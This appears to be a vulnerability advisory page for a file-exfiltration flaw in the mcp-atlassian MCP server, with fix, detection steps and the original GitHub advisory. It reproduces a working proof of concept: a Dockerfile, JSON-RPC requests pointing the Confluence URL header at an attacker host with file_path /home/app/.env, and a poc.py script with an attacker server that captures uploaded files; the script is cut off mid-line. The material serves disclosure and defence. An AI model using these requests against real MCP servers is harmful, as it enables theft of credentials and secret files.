NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-77246: MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path

highCVSS 3.1 7.4GHSA-wv8v-v4c5-v75j

In mcp-atlassian's HTTP mode, the attachment upload tools (`confluence_upload_attachment` and the Jira variant) open any server-side `file_path` without validation, and request headers can point the Atlassian URL at an attacker's server. A remote caller can make the server upload `/etc/passwd`, `.env` files or SSH keys to that server. Versions before 0.22.0 are affected; upgrade to 0.22.0.

Published Sep 22, 2026 · Analysis Oct 22, 2026

What an attacker can do

The attack chains three behaviors. Middleware in servers/main.py reads X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from request headers, and with no Authorization header it sets the auth type to pat. validate_url_for_ssrf only blocks localhost, private ranges and a few metadata hostnames, so a public attacker domain, or a hostname listed in MCP_ALLOWED_URL_DOMAINS, passes. dependencies.py then builds a ConfluenceFetcher against that URL.

The caller then invokes confluence_upload_attachment with file_path set to a sensitive path. In confluence/attachments.py the path is made absolute with os.path.abspath() and checked for existence only; the validate_safe_path() helper used on download paths is never called. Line 477 opens the file and sends it as multipart to the attacker's server. The Jira attachment code has the same pattern.

The proof of concept in Docker exfiltrated a planted /home/app/.env containing fake secrets. Real targets are .env files, SSH private keys, ~/.aws/credentials, kubeconfig and TLS keys readable by the server process.

The conditions are HTTP transport (streamable-http or sse), READ_ONLY_MODE left at its default of false, and network reach to /mcp. The CVSS vector rates the attack as adjacent network with no privileges needed.

Who is affected

mcp-atlassian before 0.22.0, running with the streamable-http or sse transport on a reachable address with READ_ONLY_MODE not set to true. Stdio deployments are not exposed to remote callers this way. Multi-tenant header-auth setups are the target of the attack.

pip show mcp-atlassian

Check your launch flags and environment for --transport, READ_ONLY_MODE and MCP_ALLOWED_URL_DOMAINS.

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.22.0
Fixed in
0.22.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to mcp-atlassian 0.22.0:

pip install -U mcp-atlassian==0.22.0

The fix is PR #1448. The advisory recommends applying validate_safe_path() to upload paths in both the Confluence and Jira attachment code, rejecting header-supplied service URLs unless they match a strict allowlist, and defaulting READ_ONLY_MODE=true for remotely reachable deployments. Until you upgrade, set READ_ONLY_MODE=true to disable the write tools, keep a tight MCP_ALLOWED_URL_DOMAINS, and do not expose /mcp to untrusted networks. Run the server as a user with no access to secrets.

How to tell if you were hit

In the MCP server logs, look for tools/call of confluence_upload_attachment or the Jira attachment tool with file_path values outside your normal attachment directory, and for requests carrying X-Atlassian-Confluence-Url headers that name hosts other than your Atlassian site. Check egress logs for multipart PUT or POST requests from the server to unfamiliar hosts. Rotate any secrets stored on a server that was exposed. Beam records agent MCP tool calls and file access, which helps if an agent called the upload tool.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).

---

Details

Data flow (source → sink)

| Step | Location | Role |
| 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. |
| 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `"pat"`, effectively bypassing authentication requirements. |
| 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. |
| 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker's server. |
| 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. |
| 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` — already used on download paths — is **never called** here, leaving no directory restriction in place. |
| 7 | `src/mcp_atlassian/confluence/attachments.py:477` | **Sink**: `files = {"file": (filename, open(file_path, "rb"))}` — the file is opened and sent as multipart to the attacker's server. |
| 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, "rb")`. |

Key code evidence

# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65:     file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))}   # ← sink
# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375:     file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file:                    # ← sink
387:     attachment = self.jira.add_attachment(

Why `validate_safe_path` is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.

Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).

Recommended remediation

--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
-            if not os.path.isabs(file_path):
-                file_path = os.path.abspath(file_path)
+            file_path = str(validate_safe_path(file_path))
             filename = os.path.basename(file_path)
-            files = {"file": (filename, open(file_path, "rb"))}
+            with open(file_path, "rb") as file_obj:
+                files = {"file": (filename, file_obj)}
+                response = self.confluence._session.put(
+                    url, headers=headers, files=files, data=data
+                )
-            response = self.confluence._session.put(
-                url, headers=headers, files=files, data=data
-            )

--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
-            if not os.path.isabs(file_path):
-                file_path = os.path.abspath(file_path)
+            file_path = str(validate_safe_path(file_path))

Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.

---

PoC

Prerequisites

  • Docker (CLI + daemon) available on the attacker machine.
  • Python 3.x with httpx installed (pip install httpx).
  • The mcp-atlassian repository cloned locally (commit d8bc786 or compatible).

Step 1 — Build the victim image

The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:

SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
docker build -t mcp-atlassian-vuln001 \
  -f vuln-001/Dockerfile \
  /path/to/mcp-atlassian-repo

Step 2 — Run the automated PoC script

The poc.py script orchestrates the full attack:

python3 poc.py \
  --repo /path/to/mcp-atlassian-repo \
  --victim-port 18000 \
  --attacker-port 18888

The script performs the following actions automatically:

  1. Creates a Docker network (poc-vuln001-net).
  2. Starts an attacker HTTP server container (poc-vuln001-attacker, port 18888) that mimics a Confluence REST API and records multipart upload bodies.
  3. Starts the victim MCP server container (poc-vuln001-victim, port 18000) with READ_ONLY_MODE=false and MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker.
  4. Sends the following MCP JSON-RPC sequence to http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
    "X-Atlassian-Confluence-Url":            "http://poc-vuln001-attacker:8888",
    "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp  {"jsonrpc":"2.0","method":"initialize","id":1,
            "params":{"protocolVersion":"2024-11-05","capabilities":{},
                      "clientInfo":{"name":"vuln001-poc","version":"1.0"}}}

# Step 4b — trigger file exfiltration
POST /mcp  {"jsonrpc":"2.0","method":"tools/call","id":3,
            "params":{"name":"confluence_upload_attachment",
                      "arguments":{"content_id":"123",
                                   "file_path":"/home/app/.env"}}}
  1. Queries http://127.0.0.1:18888/exfil and verifies that the attacker server received the file contents.

Expected result

The attacker server logs and /exfil endpoint confirm receipt of the victim file:

[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***

Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.

---

Impact

Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.

Who is impacted:

  • Operators running mcp-atlassian in HTTP transport mode (streamable-http or sse) on a network-reachable endpoint with READ_ONLY_MODE=false (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.
  • Users whose secrets are stored on the server filesystem are at risk of credential theft — .env files, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.

Constraints on exploitability:

  • The server must be running in HTTP transport mode (not the default stdio mode).
  • READ_ONLY_MODE must not be set to true.
  • The attacker must be able to reach the /mcp endpoint (adjacent network or internet, depending on deployment).
  • The SSRF domain allowlist (MCP_ALLOWED_URL_DOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.

Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.

---

Reproduction artifacts

Dockerfile

# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.

FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder

WORKDIR /app
ENV UV_COMPILE_BYTECODE=1
ENV UV_LINK_MODE=copy

# Copy dependency files
COPY pyproject.toml README.md uv.lock ./

# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv \
 uv sync --frozen --no-install-project --no-dev --no-editable

# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv \
 uv sync --frozen --no-dev --no-editable

# Strip bytecode cache to reduce image size
RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \
 find /app/.venv -name '*.pyc' -delete 2>/dev/null || true

# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine

# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app

# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \
 printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \
 printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \
 chown app:app /home/app/.env

WORKDIR /app
USER app

COPY --from=builder --chown=app:app /app/.venv /app/.venv

ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1

# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)

Attack chain:
  1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
     Authorization header required (unauthenticated PAT path, main.py:584-595).
  2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
     container hostname, bypassing DNS validation (urls.py:107-111).
  3. ConfluenceFetcher is constructed with the attacker-controlled URL
     (dependencies.py:544-545).
  4. confluence_upload_attachment is called with file_path=/home/app/.env —
     the path is absolutized but never validated against a safe root
     (attachments.py:64-79).
  5. The file is opened and PUT-ed as multipart to the attacker server
     (attachments.py:477,490).

Usage:
  python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
                 [--attacker-port 18888] [--no-cleanup]

Requirements on the host running this script:
  - docker (CLI + daemon)
  - python3 with httpx (pip install httpx)
"""

import argparse
import json
import os
import subprocess
import sys
import textwrap
import time

# ── constants ──────────────────────────────────────────────────────────────

SCRIPT_DIR      = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO    = os.path.join(
    os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")

NETWORK_NAME     = "poc-vuln001-net"
VICTIM_NAME      = "poc-vuln001-victim"
ATTACKER_NAME    = "poc-vuln001-attacker"
VICTIM_IMAGE     = "mcp-atlassian-vuln001"
ATTACKER_IMAGE   = "python:3.12-slim"

TARGET_FILE      = "/home/app/.env"   # sensitive file planted in the victim image

# ── attacker server source (injected into the attacker container) ──────────

ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading

_exfil = []   # captured files

class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *a):
        print(f"[attacker-http] {fmt % a}", flush=True)

    # Confluence auth probe — return a minimal valid user object
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        if self.path.rstrip("/") == "/exfil":
            self.wfile.write(json.dumps({"files": _exfil}).encode())
        elif self.path.rstrip("/") == "/ready":
            self.wfile.write(b'{"status":"ok"}')
        else:
            self.wfile.write(json.dumps({
                "key": "attacker-user", "displayName": "Attacker",
                "emailAddress": "[email protected]", "active": True,
                "accountType": "atlassian"
            }).encode())

    def do_PUT(self):  self._recv()
    def do_POST(self): self._recv()

    def _recv(self):
        cl = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(cl) if cl else b""
        ct   = self.headers.get("Content-Type", "")
        print(f"[attacker] {self.command} {self.path}  body={len(body)}b  ct={ct}", flush=True)

        file_data = b""
        if "multipart" in ct and body:
            bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
            if bm:
                boundary = bm.group(1).encode()
                for part in body.split(b"--" + boundary):
                    if b"\r\n\r\n" not in part:
                        continue
                    hdr, _, data = part.partition(b"\r\n\r\n")
                    if b'name="file"' in hdr or b"filename" in hdr:
                        file_data = data.rstrip(b"\r\n--")
                        break

        if file_data:
            text = file_data.decode(errors="replace")
            print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
            print(text[:4096], flush=True)
            print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
            _exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
        else:
            print("[attacker] WARNING: no file data found in request", flush=True)

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({
            "results": [{
                "id": "att-001", "type": "attachment", "title": "exfiltrated",
                "metadata": {"mediaType": "text/plain"},
                "extensions": {"fileSize": len(file_data)}
            }]
        }).encode())

server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()


# ── helpers ────────────────────────────────────────────────────────────────

def run(cmd: str, **kw):
    r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
    return r.returncode, r.stdout, r.stderr


def run_ok(cmd: str, label: str = "") -> str:
    rc, out, err = run(cmd)
    if rc != 0:
        tag = f" ({label})" if label else ""
        print(f"[FAIL] Command{tag} exited {rc}:\n  cmd: {cmd}\n  stdout: {out}\n  stderr: {err}", file=sys.stderr)
        sys.exit(1)
    return out


def docker_logs(name: str) -> str:
    _, out, err = run(f"docker logs {name} 2>&1")
    return out + err


def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
    import urllib.request
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=3) as r:
                if r.status < 500:
                    return True
        except Exception:
            pass
        time.sleep(interval)
    return False


def cleanup(victim_name: str, attacker_name: str, network: str):
    run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
    run(f"docker network rm {network} 2>/dev/null")


def parse_sse_result(text: str) -> dict | None:
    """Extract the first JSON-RPC result from an SSE or plain-JSON body."""
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            payload = line[5:].strip()
        elif line.startswith("{"):
            payload = line
        else:
            continue
        try:
            obj = json.loads(payload)
            if "result" in obj or "error" in obj:
                return obj
        except json.JSONDecodeError:
            continue
    return None


# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────

def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
    """
    Drive the MCP streamable-http protocol to call confluence_upload_attachment
    with an arbitrary file_path.
    Returns a dict with keys: success, session_id, response_text, error.
    """
    import httpx

    service_headers = {
        "X-Atlassian-Confluence-Url":            attacker_container_url,
        "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
    }
    base_headers = {
        **service_headers,
        "Content-Type":  "application/json",
        "Accept":        "application/json, text/event-stream",
    }

    with httpx.Client(timeout=30) as client:
        # ── 1. initialize ──────────────────────────────────────────────
        print(f"[poc] Sending initialize to {victim_url}")
        resp = client.post(victim_url, headers=base_headers, json={
            "jsonrpc": "2.0", "method": "initialize", "id": 1,
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "vuln001-poc", "version": "1.0"},
            }
        })
        if resp.status_code not in (200, 201):
            return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}

        session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
        print(f"[poc] Session-Id: {session_id}")

        session_headers = {**base_headers}
        if session_id:
            session_headers["Mcp-Session-Id"] = session_id

        # ── 2. notifications/initialized ──────────────────────────────
        client.post(victim_url, headers=session_headers, json={
            "jsonrpc": "2.0", "method": "notifications/initialized"
        })

        # ── 3. tools/list (optional, just for visibility) ─────────────
        try:
            tl = client.post(victim_url, headers=session_headers, json={
                "jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
            })
            tools_obj = parse_sse_result(tl.text) or {}
            if "result" in tools_obj:
                names = [t["name"] for t in tools_obj["result"].get("tools", [])]
                print(f"[poc] Tool

Credited to EQSTLab, 232-323.

Questions

Does the attacker need an Atlassian account?

No. They supply their own fake token and a URL header that points at their server. No Authorization header is needed, so the server treats the request as a personal-access-token call.

Does READ_ONLY_MODE stop it?

Yes. The advisory says the attack needs READ_ONLY_MODE to be false, which is the default. Setting it to true disables the write tools, including attachment upload.

Why does the SSRF check not block the attacker's URL?

It blocks only localhost, RFC 1918 ranges and a small list of metadata hosts. A public attacker domain, or a host in MCP_ALLOWED_URL_DOMAINS, passes it.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries